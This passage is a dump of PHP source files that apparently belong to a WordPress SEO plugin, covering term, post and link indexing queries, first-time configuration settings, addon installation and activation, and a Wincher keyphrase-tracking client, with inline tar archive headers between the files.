$this->repository = $repository;
$this->wpdb = $wpdb;
$this->version = $builder_versions->get_latest_version_for_type( 'term' );
}
/**
* Creates indexables for unindexed terms.
*
* @return Indexable[] The created indexables.
*/
public function index() {
$query = $this->get_select_query( $this->get_limit() );
// phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared -- Function get_select_query returns a prepared query.
$term_ids = ( $query === '' ) ? [] : $this->wpdb->get_col( $query );
$indexables = [];
foreach ( $term_ids as $term_id ) {
$indexables[] = $this->repository->find_by_id_and_type( (int) $term_id, 'term' );
}
if ( \count( $indexables ) > 0 ) {
\delete_transient( static::UNINDEXED_COUNT_TRANSIENT );
\delete_transient( static::UNINDEXED_LIMITED_COUNT_TRANSIENT );
}
return $indexables;
}
/**
* Returns the number of terms that will be indexed in a single indexing pass.
*
* @return int The limit.
*/
public function get_limit() {
/**
* Filter 'wpseo_term_indexation_limit' - Allow filtering the number of terms indexed during each indexing pass.
*
* @param int $limit The maximum number of terms indexed.
*/
$limit = \apply_filters( 'wpseo_term_indexation_limit', 25 );
if ( ! \is_int( $limit ) || $limit < 1 ) {
$limit = 25;
}
return $limit;
}
/**
* Builds a query for counting the number of unindexed terms.
*
* @return string The prepared query string.
*/
protected function get_count_query() {
$indexable_table = Model::get_table_name( 'Indexable' );
$taxonomy_table = $this->wpdb->term_taxonomy;
$public_taxonomies = $this->taxonomy->get_indexable_taxonomies();
if ( empty( $public_taxonomies ) ) {
return '';
}
$taxonomies_placeholders = \implode( ', ', \array_fill( 0, \count( $public_taxonomies ), '%s' ) );
$replacements = [ $this->version ];
\array_push( $replacements, ...$public_taxonomies );
// Warning: If this query is changed, makes sure to update the query in get_count_query as well.
return $this->wpdb->prepare(
"
SELECT COUNT(term_id)
FROM {$taxonomy_table} AS T
LEFT JOIN $indexable_table AS I
ON T.term_id = I.object_id
AND I.object_type = 'term'
AND I.version = %d
WHERE I.object_id IS NULL
AND taxonomy IN ($taxonomies_placeholders)",
$replacements,
);
}
/**
* Builds a query for selecting the ID's of unindexed terms.
*
* @param bool $limit The maximum number of term IDs to return.
*
* @return string The prepared query string.
*/
protected function get_select_query( $limit = false ) {
$indexable_table = Model::get_table_name( 'Indexable' );
$taxonomy_table = $this->wpdb->term_taxonomy;
$public_taxonomies = $this->taxonomy->get_indexable_taxonomies();
if ( empty( $public_taxonomies ) ) {
return '';
}
$placeholders = \implode( ', ', \array_fill( 0, \count( $public_taxonomies ), '%s' ) );
$replacements = [ $this->version ];
\array_push( $replacements, ...$public_taxonomies );
$limit_query = '';
if ( $limit ) {
$limit_query = 'LIMIT %d';
$replacements[] = $limit;
}
// Warning: If this query is changed, makes sure to update the query in get_count_query as well.
return $this->wpdb->prepare(
"
SELECT term_id
FROM {$taxonomy_table} AS T
LEFT JOIN $indexable_table AS I
ON T.term_id = I.object_id
AND I.object_type = 'term'
AND I.version = %d
WHERE I.object_id IS NULL
AND taxonomy IN ($placeholders)
$limit_query",
$replacements,
);
}
}
actions/indexing/indexing-complete-action.php 0000644 00000001227 15207625731 0015422 0 ustar 00 indexing_helper = $indexing_helper;
}
/**
* Wraps up the indexing process.
*
* @return void
*/
public function complete() {
$this->indexing_helper->complete();
}
}
actions/indexing/abstract-link-indexing-action.php 0000644 00000006166 15207625731 0016357 0 ustar 00 link_builder = $link_builder;
$this->indexable_helper = $indexable_helper;
$this->repository = $repository;
$this->wpdb = $wpdb;
}
/**
* Builds links for indexables which haven't had their links indexed yet.
*
* @return SEO_Links[] The created SEO links.
*/
public function index() {
$objects = $this->get_objects();
$indexables = [];
foreach ( $objects as $object ) {
$indexable = $this->repository->find_by_id_and_type( $object->id, $object->type );
if ( $indexable ) {
$this->link_builder->build( $indexable, $object->content );
$this->indexable_helper->save_indexable( $indexable );
$indexables[] = $indexable;
}
}
if ( \count( $indexables ) > 0 ) {
\delete_transient( static::UNINDEXED_COUNT_TRANSIENT );
\delete_transient( static::UNINDEXED_LIMITED_COUNT_TRANSIENT );
}
return $indexables;
}
/**
* In the case of term-links and post-links we want to use the total unindexed count, because using
* the limited unindexed count actually leads to worse performance.
*
* @param int|bool $limit Unused.
*
* @return int The total number of unindexed links.
*/
public function get_limited_unindexed_count( $limit = false ) {
return $this->get_total_unindexed();
}
/**
* Returns the number of texts that will be indexed in a single link indexing pass.
*
* @return int The limit.
*/
public function get_limit() {
/**
* Filter 'wpseo_link_indexing_limit' - Allow filtering the number of texts indexed during each link indexing pass.
*
* @param int $limit The maximum number of texts indexed.
*/
return \apply_filters( 'wpseo_link_indexing_limit', 5 );
}
/**
* Returns objects to be indexed.
*
* @return array Objects to be indexed, should be an array of objects with object_id, object_type and content.
*/
abstract protected function get_objects();
}
actions/indexing/post-link-indexing-action.php 0000644 00000007535 15207625731 0015542 0 ustar 00 post_type_helper = $post_type_helper;
}
/**
* Returns objects to be indexed.
*
* @return array Objects to be indexed.
*/
protected function get_objects() {
$query = $this->get_select_query( $this->get_limit() );
// phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared -- Function get_select_query returns a prepared query.
$posts = $this->wpdb->get_results( $query );
return \array_map(
static function ( $post ) {
return (object) [
'id' => (int) $post->ID,
'type' => 'post',
'content' => $post->post_content,
];
},
$posts,
);
}
/**
* Builds a query for counting the number of unindexed post links.
*
* @return string The prepared query string.
*/
protected function get_count_query() {
$public_post_types = $this->post_type_helper->get_indexable_post_types();
$indexable_table = Model::get_table_name( 'Indexable' );
$links_table = Model::get_table_name( 'SEO_Links' );
// Warning: If this query is changed, makes sure to update the query in get_select_query as well.
return $this->wpdb->prepare(
"SELECT COUNT(P.ID)
FROM {$this->wpdb->posts} AS P
LEFT JOIN $indexable_table AS I
ON P.ID = I.object_id
AND I.link_count IS NOT NULL
AND I.object_type = 'post'
LEFT JOIN $links_table AS L
ON L.post_id = P.ID
AND L.target_indexable_id IS NULL
AND L.type = 'internal'
AND L.target_post_id IS NOT NULL
AND L.target_post_id != 0
WHERE ( I.object_id IS NULL OR L.post_id IS NOT NULL )
AND P.post_status = 'publish'
AND P.post_type IN (" . \implode( ', ', \array_fill( 0, \count( $public_post_types ), '%s' ) ) . ')',
$public_post_types,
);
}
/**
* Builds a query for selecting the ID's of unindexed post links.
*
* @param int|false $limit The maximum number of post link IDs to return.
*
* @return string The prepared query string.
*/
protected function get_select_query( $limit = false ) {
$public_post_types = $this->post_type_helper->get_indexable_post_types();
$indexable_table = Model::get_table_name( 'Indexable' );
$links_table = Model::get_table_name( 'SEO_Links' );
$replacements = $public_post_types;
$limit_query = '';
if ( $limit ) {
$limit_query = 'LIMIT %d';
$replacements[] = $limit;
}
// Warning: If this query is changed, makes sure to update the query in get_count_query as well.
return $this->wpdb->prepare(
"
SELECT P.ID, P.post_content
FROM {$this->wpdb->posts} AS P
LEFT JOIN $indexable_table AS I
ON P.ID = I.object_id
AND I.link_count IS NOT NULL
AND I.object_type = 'post'
LEFT JOIN $links_table AS L
ON L.post_id = P.ID
AND L.target_indexable_id IS NULL
AND L.type = 'internal'
AND L.target_post_id IS NOT NULL
AND L.target_post_id != 0
WHERE ( I.object_id IS NULL OR L.post_id IS NOT NULL )
AND P.post_status = 'publish'
AND P.post_type IN (" . \implode( ', ', \array_fill( 0, \count( $public_post_types ), '%s' ) ) . ")
$limit_query",
$replacements,
);
}
}
actions/indexing/term-link-indexing-action.php 0000644 00000006702 15207625731 0015517 0 ustar 00 taxonomy_helper = $taxonomy_helper;
}
/**
* Returns objects to be indexed.
*
* @return array Objects to be indexed.
*/
protected function get_objects() {
$query = $this->get_select_query( $this->get_limit() );
if ( $query === '' ) {
return [];
}
// phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared -- Function get_select_query returns a prepared query.
$terms = $this->wpdb->get_results( $query );
return \array_map(
static function ( $term ) {
return (object) [
'id' => (int) $term->term_id,
'type' => 'term',
'content' => $term->description,
];
},
$terms,
);
}
/**
* Builds a query for counting the number of unindexed term links.
*
* @return string The prepared query string.
*/
protected function get_count_query() {
$public_taxonomies = $this->taxonomy_helper->get_indexable_taxonomies();
if ( empty( $public_taxonomies ) ) {
return '';
}
$placeholders = \implode( ', ', \array_fill( 0, \count( $public_taxonomies ), '%s' ) );
$indexable_table = Model::get_table_name( 'Indexable' );
// Warning: If this query is changed, makes sure to update the query in get_select_query as well.
return $this->wpdb->prepare(
"
SELECT COUNT(T.term_id)
FROM {$this->wpdb->term_taxonomy} AS T
LEFT JOIN $indexable_table AS I
ON T.term_id = I.object_id
AND I.object_type = 'term'
AND I.link_count IS NOT NULL
WHERE I.object_id IS NULL
AND T.taxonomy IN ($placeholders)",
$public_taxonomies,
);
}
/**
* Builds a query for selecting the ID's of unindexed term links.
*
* @param int|false $limit The maximum number of term link IDs to return.
*
* @return string The prepared query string.
*/
protected function get_select_query( $limit = false ) {
$public_taxonomies = $this->taxonomy_helper->get_indexable_taxonomies();
if ( empty( $public_taxonomies ) ) {
return '';
}
$indexable_table = Model::get_table_name( 'Indexable' );
$replacements = $public_taxonomies;
$limit_query = '';
if ( $limit ) {
$limit_query = 'LIMIT %d';
$replacements[] = $limit;
}
// Warning: If this query is changed, makes sure to update the query in get_count_query as well.
return $this->wpdb->prepare(
"
SELECT T.term_id, T.description
FROM {$this->wpdb->term_taxonomy} AS T
LEFT JOIN $indexable_table AS I
ON T.term_id = I.object_id
AND I.object_type = 'term'
AND I.link_count IS NOT NULL
WHERE I.object_id IS NULL
AND T.taxonomy IN (" . \implode( ', ', \array_fill( 0, \count( $public_taxonomies ), '%s' ) ) . ")
$limit_query",
$replacements,
);
}
}
actions/indexing/indexable-general-indexation-action.php 0000644 00000007601 15207625731 0017517 0 ustar 00 indexable_repository = $indexable_repository;
}
/**
* Returns the total number of unindexed objects.
*
* @return int The total number of unindexed objects.
*/
public function get_total_unindexed() {
$transient = \get_transient( static::UNINDEXED_COUNT_TRANSIENT );
if ( $transient !== false ) {
return (int) $transient;
}
$indexables_to_create = $this->query();
$result = \count( $indexables_to_create );
\set_transient( static::UNINDEXED_COUNT_TRANSIENT, $result, \DAY_IN_SECONDS );
/**
* Action: 'wpseo_indexables_unindexed_calculated' - sets an option to timestamp when there are no unindexed indexables left.
*
* @internal
*/
\do_action( 'wpseo_indexables_unindexed_calculated', static::UNINDEXED_COUNT_TRANSIENT, $result );
return $result;
}
/**
* Returns a limited number of unindexed posts.
*
* @param int $limit Limit the maximum number of unindexed posts that are counted.
*
* @return int|false The limited number of unindexed posts. False if the query fails.
*/
public function get_limited_unindexed_count( $limit ) {
return $this->get_total_unindexed();
}
/**
* Creates indexables for unindexed system pages, the date archive, and the homepage.
*
* @return Indexable[] The created indexables.
*/
public function index() {
$indexables = [];
$indexables_to_create = $this->query();
if ( isset( $indexables_to_create['404'] ) ) {
$indexables[] = $this->indexable_repository->find_for_system_page( '404' );
}
if ( isset( $indexables_to_create['search'] ) ) {
$indexables[] = $this->indexable_repository->find_for_system_page( 'search-result' );
}
if ( isset( $indexables_to_create['date_archive'] ) ) {
$indexables[] = $this->indexable_repository->find_for_date_archive();
}
if ( isset( $indexables_to_create['home_page'] ) ) {
$indexables[] = $this->indexable_repository->find_for_home_page();
}
\set_transient( static::UNINDEXED_COUNT_TRANSIENT, 0, \DAY_IN_SECONDS );
return $indexables;
}
/**
* Returns the number of objects that will be indexed in a single indexing pass.
*
* @return int The limit.
*/
public function get_limit() {
// This matches the maximum number of indexables created by this action.
return 4;
}
/**
* Check which indexables already exist and return the values of the ones to create.
*
* @return array The indexable types to create.
*/
private function query() {
$indexables_to_create = [];
if ( ! $this->indexable_repository->find_for_system_page( '404', false ) ) {
$indexables_to_create['404'] = true;
}
if ( ! $this->indexable_repository->find_for_system_page( 'search-result', false ) ) {
$indexables_to_create['search'] = true;
}
if ( ! $this->indexable_repository->find_for_date_archive( false ) ) {
$indexables_to_create['date_archive'] = true;
}
$need_home_page_indexable = ( (int) \get_option( 'page_on_front' ) === 0 && \get_option( 'show_on_front' ) === 'posts' );
if ( $need_home_page_indexable && ! $this->indexable_repository->find_for_home_page( false ) ) {
$indexables_to_create['home_page'] = true;
}
return $indexables_to_create;
}
}
actions/indexing/indexable-post-indexation-action.php 0000644 00000013317 15207625732 0017071 0 ustar 00 post_type_helper = $post_type_helper;
$this->repository = $repository;
$this->wpdb = $wpdb;
$this->version = $builder_versions->get_latest_version_for_type( 'post' );
$this->post_helper = $post_helper;
}
/**
* Creates indexables for unindexed posts.
*
* @return Indexable[] The created indexables.
*/
public function index() {
$query = $this->get_select_query( $this->get_limit() );
// phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared -- Function get_select_query returns a prepared query.
$post_ids = $this->wpdb->get_col( $query );
$indexables = [];
foreach ( $post_ids as $post_id ) {
$indexables[] = $this->repository->find_by_id_and_type( (int) $post_id, 'post' );
}
if ( \count( $indexables ) > 0 ) {
\delete_transient( static::UNINDEXED_COUNT_TRANSIENT );
\delete_transient( static::UNINDEXED_LIMITED_COUNT_TRANSIENT );
}
return $indexables;
}
/**
* Returns the number of posts that will be indexed in a single indexing pass.
*
* @return int The limit.
*/
public function get_limit() {
/**
* Filter 'wpseo_post_indexation_limit' - Allow filtering the amount of posts indexed during each indexing pass.
*
* @param int $limit The maximum number of posts indexed.
*/
$limit = \apply_filters( 'wpseo_post_indexation_limit', 25 );
if ( ! \is_int( $limit ) || $limit < 1 ) {
$limit = 25;
}
return $limit;
}
/**
* Builds a query for counting the number of unindexed posts.
*
* @return string The prepared query string.
*/
protected function get_count_query() {
$indexable_table = Model::get_table_name( 'Indexable' );
$post_types = $this->post_type_helper->get_indexable_post_types();
$excluded_post_statuses = $this->post_helper->get_excluded_post_statuses();
$replacements = \array_merge(
$post_types,
$excluded_post_statuses,
);
$replacements[] = $this->version;
// Warning: If this query is changed, makes sure to update the query in get_select_query as well.
// @phpcs:ignore WordPress.DB.PreparedSQLPlaceholders.ReplacementsWrongNumber
return $this->wpdb->prepare(
"
SELECT COUNT(P.ID)
FROM {$this->wpdb->posts} AS P
WHERE P.post_type IN (" . \implode( ', ', \array_fill( 0, \count( $post_types ), '%s' ) ) . ')
AND P.post_status NOT IN (' . \implode( ', ', \array_fill( 0, \count( $excluded_post_statuses ), '%s' ) ) . ")
AND P.ID not in (
SELECT I.object_id from $indexable_table as I
WHERE I.object_type = 'post'
AND I.version = %d )",
$replacements,
);
}
/**
* Builds a query for selecting the ID's of unindexed posts.
*
* @param bool $limit The maximum number of post IDs to return.
*
* @return string The prepared query string.
*/
protected function get_select_query( $limit = false ) {
$indexable_table = Model::get_table_name( 'Indexable' );
$post_types = $this->post_type_helper->get_indexable_post_types();
$excluded_post_statuses = $this->post_helper->get_excluded_post_statuses();
$replacements = \array_merge(
$post_types,
$excluded_post_statuses,
);
$replacements[] = $this->version;
$limit_query = '';
if ( $limit ) {
$limit_query = 'LIMIT %d';
$replacements[] = $limit;
}
// Warning: If this query is changed, makes sure to update the query in get_count_query as well.
// @phpcs:ignore WordPress.DB.PreparedSQLPlaceholders.ReplacementsWrongNumber
return $this->wpdb->prepare(
"
SELECT P.ID
FROM {$this->wpdb->posts} AS P
WHERE P.post_type IN (" . \implode( ', ', \array_fill( 0, \count( $post_types ), '%s' ) ) . ')
AND P.post_status NOT IN (' . \implode( ', ', \array_fill( 0, \count( $excluded_post_statuses ), '%s' ) ) . ")
AND P.ID not in (
SELECT I.object_id from $indexable_table as I
WHERE I.object_type = 'post'
AND I.version = %d )
$limit_query",
$replacements,
);
}
}
actions/configuration/first-time-configuration-action.php 0000644 00000021143 15207625732 0020001 0 ustar 00 options_helper = $options_helper;
$this->social_profiles_helper = $social_profiles_helper;
}
/**
* Stores the values for the site representation.
*
* @param array $params The values to store.
*
* @return object The response object.
*/
public function set_site_representation( $params ) {
$failures = [];
$old_values = $this->get_old_values( self::SITE_REPRESENTATION_FIELDS );
foreach ( self::SITE_REPRESENTATION_FIELDS as $field_name ) {
if ( isset( $params[ $field_name ] ) ) {
$result = $this->options_helper->set( $field_name, $params[ $field_name ] );
if ( ! $result ) {
$failures[] = $field_name;
}
}
}
// Delete cached logos in the db.
$this->options_helper->set( 'company_logo_meta', false );
$this->options_helper->set( 'person_logo_meta', false );
/**
* Action: 'wpseo_post_update_site_representation' - Allows for Hiive event tracking.
*
* @param array $params The new values of the options.
* @param array $old_values The old values of the options.
* @param array $failures The options that failed to be saved.
*
* @internal
*/
\do_action( 'wpseo_ftc_post_update_site_representation', $params, $old_values, $failures );
if ( \count( $failures ) === 0 ) {
return (object) [
'success' => true,
'status' => 200,
];
}
return (object) [
'success' => false,
'status' => 500,
'error' => 'Could not save some options in the database',
'failures' => $failures,
];
}
/**
* Stores the values for the social profiles.
*
* @param array $params The values to store.
*
* @return object The response object.
*/
public function set_social_profiles( $params ) {
$old_values = $this->get_old_values( \array_keys( $this->social_profiles_helper->get_organization_social_profile_fields() ) );
$failures = $this->social_profiles_helper->set_organization_social_profiles( $params );
/**
* Action: 'wpseo_post_update_social_profiles' - Allows for Hiive event tracking.
*
* @param array $params The new values of the options.
* @param array $old_values The old values of the options.
* @param array $failures The options that failed to be saved.
*
* @internal
*/
\do_action( 'wpseo_ftc_post_update_social_profiles', $params, $old_values, $failures );
if ( empty( $failures ) ) {
return (object) [
'success' => true,
'status' => 200,
];
}
return (object) [
'success' => false,
'status' => 200,
'error' => 'Could not save some options in the database',
'failures' => $failures,
];
}
/**
* Stores the values for the social profiles.
*
* @param array $params The values to store.
*
* @return object The response object.
*/
public function set_person_social_profiles( $params ) {
$social_profiles = \array_filter(
$params,
static function ( $key ) {
return $key !== 'user_id';
},
\ARRAY_FILTER_USE_KEY,
);
$failures = $this->social_profiles_helper->set_person_social_profiles( $params['user_id'], $social_profiles );
if ( \count( $failures ) === 0 ) {
return (object) [
'success' => true,
'status' => 200,
];
}
return (object) [
'success' => false,
'status' => 200,
'error' => 'Could not save some options in the database',
'failures' => $failures,
];
}
/**
* Gets the values for the social profiles.
*
* @param int $user_id The person ID.
*
* @return object The response object.
*/
public function get_person_social_profiles( $user_id ) {
return (object) [
'success' => true,
'status' => 200,
'social_profiles' => $this->social_profiles_helper->get_person_social_profiles( $user_id ),
];
}
/**
* Stores the values to enable/disable tracking.
*
* @param array $params The values to store.
*
* @return object The response object.
*/
public function set_enable_tracking( $params ) {
$success = true;
$option_value = $this->options_helper->get( 'tracking' );
if ( $option_value !== $params['tracking'] ) {
$this->options_helper->set( 'toggled_tracking', true );
$success = $this->options_helper->set( 'tracking', $params['tracking'] );
}
/**
* Action: 'wpseo_post_update_enable_tracking' - Allows for Hiive event tracking.
*
* @param array $new_value The new value.
* @param array $old_value The old value.
* @param bool $failure Whether the option failed to be stored.
*
* @internal
*/
// $success is negated to be aligned with the other two actions which pass $failures.
\do_action( 'wpseo_ftc_post_update_enable_tracking', $params['tracking'], $option_value, ! $success );
if ( $success ) {
return (object) [
'success' => true,
'status' => 200,
];
}
return (object) [
'success' => false,
'status' => 500,
'error' => 'Could not save the option in the database',
];
}
/**
* Checks if the current user has the capability a specific user.
*
* @param int $user_id The id of the user to be edited.
*
* @return object The response object.
*/
public function check_capability( $user_id ) {
if ( $this->can_edit_profile( $user_id ) ) {
return (object) [
'success' => true,
'status' => 200,
];
}
return (object) [
'success' => false,
'status' => 403,
];
}
/**
* Stores the first time configuration state.
*
* @param array $params The values to store.
*
* @return object The response object.
*/
public function save_configuration_state( $params ) {
// If the finishedSteps param is not present in the REST request, it's a malformed request.
if ( ! isset( $params['finishedSteps'] ) ) {
return (object) [
'success' => false,
'status' => 400,
'error' => 'Bad request',
];
}
// Sanitize input.
$finished_steps = \array_map( '\sanitize_text_field', \wp_unslash( $params['finishedSteps'] ) );
$success = $this->options_helper->set( 'configuration_finished_steps', $finished_steps );
if ( ! $success ) {
return (object) [
'success' => false,
'status' => 500,
'error' => 'Could not save the option in the database',
];
}
// If all the five steps of the configuration have been completed, set first_time_install option to false.
if ( \count( $params['finishedSteps'] ) === 3 ) {
$this->options_helper->set( 'first_time_install', false );
}
return (object) [
'success' => true,
'status' => 200,
];
}
/**
* Gets the first time configuration state.
*
* @return object The response object.
*/
public function get_configuration_state() {
$configuration_option = $this->options_helper->get( 'configuration_finished_steps' );
if ( $configuration_option !== null ) {
return (object) [
'success' => true,
'status' => 200,
'data' => $configuration_option,
];
}
return (object) [
'success' => false,
'status' => 500,
'error' => 'Could not get data from the database',
];
}
/**
* Checks if the current user has the capability to edit a specific user.
*
* @param int $person_id The id of the person to edit.
*
* @return bool
*/
private function can_edit_profile( $person_id ) {
return \current_user_can( 'edit_user', $person_id );
}
/**
* Gets the old values for the given fields.
*
* @param array $fields_names The fields to get the old values for.
*
* @return array The old values.
*/
private function get_old_values( array $fields_names ): array {
$old_values = [];
foreach ( $fields_names as $field_name ) {
$old_values[ $field_name ] = $this->options_helper->get( $field_name );
}
return $old_values;
}
}
actions/addon-installation/addon-install-action.php 0000644 00000007562 15207625732 0016530 0 ustar 00 addon_manager = $addon_manager;
$this->require_file_helper = $require_file_helper;
}
/**
* Installs the plugin based on the given slug.
*
* @param string $plugin_slug The plugin slug to install.
* @param string $download_url The plugin download URL.
*
* @return bool True when install is successful.
*
* @throws Addon_Already_Installed_Exception When the addon is already installed.
* @throws Addon_Installation_Error_Exception When the installation encounters an error.
* @throws User_Cannot_Install_Plugins_Exception When the user does not have the permissions to install plugins.
*/
public function install_addon( $plugin_slug, $download_url ) {
if ( ! \current_user_can( 'install_plugins' ) ) {
throw new User_Cannot_Install_Plugins_Exception( $plugin_slug );
}
if ( $this->is_installed( $plugin_slug ) ) {
throw new Addon_Already_Installed_Exception( $plugin_slug );
}
$this->load_wordpress_classes();
$install_result = $this->install( $download_url );
if ( \is_wp_error( $install_result ) ) {
throw new Addon_Installation_Error_Exception( $install_result->get_error_message() );
}
return $install_result;
}
/**
* Requires the files needed from WordPress itself.
*
* @codeCoverageIgnore
*
* @return void
*/
protected function load_wordpress_classes() {
if ( ! \class_exists( 'WP_Upgrader' ) ) {
$this->require_file_helper->require_file_once( \ABSPATH . 'wp-admin/includes/class-wp-upgrader.php' );
}
if ( ! \class_exists( 'Plugin_Upgrader' ) ) {
$this->require_file_helper->require_file_once( \ABSPATH . 'wp-admin/includes/class-plugin-upgrader.php' );
}
if ( ! \class_exists( 'WP_Upgrader_Skin' ) ) {
$this->require_file_helper->require_file_once( \ABSPATH . 'wp-admin/includes/class-wp-upgrader-skin.php' );
}
if ( ! \function_exists( 'get_plugin_data' ) ) {
$this->require_file_helper->require_file_once( \ABSPATH . 'wp-admin/includes/plugin.php' );
}
if ( ! \function_exists( 'request_filesystem_credentials' ) ) {
$this->require_file_helper->require_file_once( \ABSPATH . 'wp-admin/includes/file.php' );
}
}
/**
* Checks is a plugin is installed.
*
* @param string $plugin_slug The plugin to check.
*
* @return bool True when plugin is installed.
*/
protected function is_installed( $plugin_slug ) {
return $this->addon_manager->get_plugin_file( $plugin_slug ) !== false;
}
/**
* Runs the installation by using the WordPress installation routine.
*
* @codeCoverageIgnore Contains WordPress specific logic.
*
* @param string $plugin_download The url to the download.
*
* @return bool|WP_Error True when success, WP_Error when something went wrong.
*/
protected function install( $plugin_download ) {
$plugin_upgrader = new Plugin_Upgrader();
return $plugin_upgrader->install( $plugin_download );
}
}
actions/addon-installation/addon-activate-action.php 0000644 00000004522 15207625732 0016653 0 ustar 00 addon_manager = $addon_manager;
$this->require_file_helper = $require_file_helper;
}
/**
* Activates the plugin based on the given plugin file.
*
* @param string $plugin_slug The plugin slug to get download url for.
*
* @return bool True when activation is successful.
*
* @throws Addon_Activation_Error_Exception Exception when the activation encounters an error.
* @throws User_Cannot_Activate_Plugins_Exception Exception when the user is not allowed to activate.
*/
public function activate_addon( $plugin_slug ) {
if ( ! \current_user_can( 'activate_plugins' ) ) {
throw new User_Cannot_Activate_Plugins_Exception();
}
if ( $this->addon_manager->is_installed( $plugin_slug ) ) {
return true;
}
$this->load_wordpress_classes();
$plugin_file = $this->addon_manager->get_plugin_file( $plugin_slug );
$activation_result = \activate_plugin( $plugin_file );
if ( $activation_result !== null && \is_wp_error( $activation_result ) ) {
throw new Addon_Activation_Error_Exception( $activation_result->get_error_message() );
}
return true;
}
/**
* Requires the files needed from WordPress itself.
*
* @codeCoverageIgnore Only loads a WordPress file.
*
* @return void
*/
protected function load_wordpress_classes() {
if ( ! \function_exists( 'get_plugins' ) ) {
$this->require_file_helper->require_file_once( \ABSPATH . 'wp-admin/includes/plugin.php' );
}
}
}
actions/integrations-action.php 0000644 00000002366 15207625732 0012716 0 ustar 00 options_helper = $options_helper;
}
/**
* Sets an integration state.
*
* @param string $integration_name The name of the integration to activate/deactivate.
* @param bool $value The value to store.
*
* @return object The response object.
*/
public function set_integration_active( $integration_name, $value ) {
$option_name = $integration_name . '_integration_active';
$success = true;
$option_value = $this->options_helper->get( $option_name );
if ( $option_value !== $value ) {
$success = $this->options_helper->set( $option_name, $value );
}
if ( $success ) {
return (object) [
'success' => true,
'status' => 200,
];
}
return (object) [
'success' => false,
'status' => 500,
'error' => 'Could not save the option in the database',
];
}
}
actions/wincher/wincher-login-action.php 0000644 00000003336 15207625732 0014412 0 ustar 00 client = $client;
$this->options_helper = $options_helper;
}
/**
* Returns the authorization URL.
*
* @return object The response object.
*/
public function get_authorization_url() {
return (object) [
'status' => 200,
'url' => $this->client->get_authorization_url(),
];
}
/**
* Authenticates with Wincher to request the necessary tokens.
*
* @param string $code The authentication code to use to request a token with.
* @param string $website_id The website id associated with the code.
*
* @return object The response object.
*/
public function authenticate( $code, $website_id ) {
// Code has already been validated at this point. No need to do that again.
try {
$tokens = $this->client->request_tokens( $code );
$this->options_helper->set( 'wincher_website_id', $website_id );
return (object) [
'tokens' => $tokens->to_array(),
'status' => 200,
];
} catch ( Authentication_Failed_Exception $e ) {
return $e->get_response();
}
}
}
actions/wincher/wincher-account-action.php 0000644 00000005010 15207625732 0014725 0 ustar 00 client = $client;
$this->options_helper = $options_helper;
}
/**
* Checks the account limit for tracking keyphrases.
*
* @return object The response object.
*/
public function check_limit() {
// Code has already been validated at this point. No need to do that again.
try {
$results = $this->client->get( self::ACCOUNT_URL );
$usage = ( $results['limits']['keywords']['usage'] ?? null );
$limit = ( $results['limits']['keywords']['limit'] ?? null );
$history = ( $results['limits']['history_days'] ?? null );
return (object) [
'canTrack' => ( $limit === null || $usage < $limit ),
'limit' => $limit,
'usage' => $usage,
'historyDays' => $history,
'status' => 200,
];
} catch ( Exception $e ) {
return (object) [
'status' => $e->getCode(),
'error' => $e->getMessage(),
];
}
}
/**
* Gets the upgrade campaign.
*
* @return object The response object.
*/
public function get_upgrade_campaign() {
try {
$result = $this->client->get( self::UPGRADE_CAMPAIGN_URL );
$type = ( $result['type'] ?? null );
$months = ( $result['months'] ?? null );
$discount = ( $result['value'] ?? null );
// We display upgrade discount only if it's a rate discount and positive months/discount.
if ( $type === 'RATE' && $months && $discount ) {
return (object) [
'discount' => $discount,
'months' => $months,
'status' => 200,
];
}
return (object) [
'discount' => null,
'months' => null,
'status' => 200,
];
} catch ( Exception $e ) {
return (object) [
'status' => $e->getCode(),
'error' => $e->getMessage(),
];
}
}
}
actions/wincher/wincher-keyphrases-action.php 0000644 00000022167 15207625732 0015463 0 ustar 00 client = $client;
$this->options_helper = $options_helper;
$this->indexable_repository = $indexable_repository;
}
/**
* Sends the tracking API request for one or more keyphrases.
*
* @param string|array $keyphrases One or more keyphrases that should be tracked.
* @param Object $limits The limits API call response data.
*
* @return Object The reponse object.
*/
public function track_keyphrases( $keyphrases, $limits ) {
try {
$endpoint = \sprintf(
self::KEYPHRASES_ADD_URL,
$this->options_helper->get( 'wincher_website_id' ),
);
// Enforce arrrays to ensure a consistent way of preparing the request.
if ( ! \is_array( $keyphrases ) ) {
$keyphrases = [ $keyphrases ];
}
// Calculate if the user would exceed their limit.
// phpcs:ignore WordPress.NamingConventions.ValidVariableName.UsedPropertyNotSnakeCase -- To ensure JS code style, this can be ignored.
if ( ! $limits->canTrack || $this->would_exceed_limits( $keyphrases, $limits ) ) {
$response = [
'limit' => $limits->limit,
'error' => 'Account limit exceeded',
'status' => 400,
];
return $this->to_result_object( $response );
}
$formatted_keyphrases = \array_values(
\array_map(
static function ( $keyphrase ) {
return [
'keyword' => $keyphrase,
'groups' => [],
];
},
$keyphrases,
),
);
$results = $this->client->post( $endpoint, WPSEO_Utils::format_json_encode( $formatted_keyphrases ) );
if ( ! \array_key_exists( 'data', $results ) ) {
return $this->to_result_object( $results );
}
// The endpoint returns a lot of stuff that we don't want/need.
$results['data'] = \array_map(
static function ( $keyphrase ) {
return [
'id' => $keyphrase['id'],
'keyword' => $keyphrase['keyword'],
];
},
$results['data'],
);
$results['data'] = \array_combine(
\array_column( $results['data'], 'keyword' ),
\array_values( $results['data'] ),
);
return $this->to_result_object( $results );
} catch ( Exception $e ) {
return (object) [
'error' => $e->getMessage(),
'status' => $e->getCode(),
];
}
}
/**
* Sends an untrack request for the passed keyword ID.
*
* @param int $keyphrase_id The ID of the keyphrase to untrack.
*
* @return object The response object.
*/
public function untrack_keyphrase( $keyphrase_id ) {
try {
$endpoint = \sprintf(
self::KEYPHRASE_DELETE_URL,
$this->options_helper->get( 'wincher_website_id' ),
$keyphrase_id,
);
$this->client->delete( $endpoint );
return (object) [
'status' => 200,
];
} catch ( Exception $e ) {
return (object) [
'error' => $e->getMessage(),
'status' => $e->getCode(),
];
}
}
/**
* Gets the keyphrase data for the passed keyphrases.
* Retrieves all available data if no keyphrases are provided.
*
* @param array|null $used_keyphrases The currently used keyphrases. Optional.
* @param string|null $permalink The current permalink. Optional.
* @param string|null $start_at The position start date. Optional.
*
* @return object The keyphrase chart data.
*/
public function get_tracked_keyphrases( $used_keyphrases = null, $permalink = null, $start_at = null ) {
try {
